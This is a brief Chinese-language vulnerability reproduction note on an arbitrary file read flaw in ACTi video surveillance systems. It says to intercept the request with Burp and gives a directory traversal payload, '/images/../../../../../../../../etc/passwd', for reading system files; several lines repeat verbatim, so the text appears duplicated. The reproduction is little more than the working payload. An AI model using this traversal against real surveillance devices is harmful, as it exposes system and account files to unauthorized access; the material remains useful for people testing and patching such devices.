ACTI 视频监控 images 任意文件读取漏洞
漏洞描述
ACTI 视频监控 存在任意文件读取漏洞
漏洞影响
网络测绘
漏洞复现
登录页面如下
使用Burp抓包
/images/../../../../../../../../etc/passwd
ACTI 视频监控 存在任意文件读取漏洞
登录页面如下
使用Burp抓包
/images/../../../../../../../../etc/passwd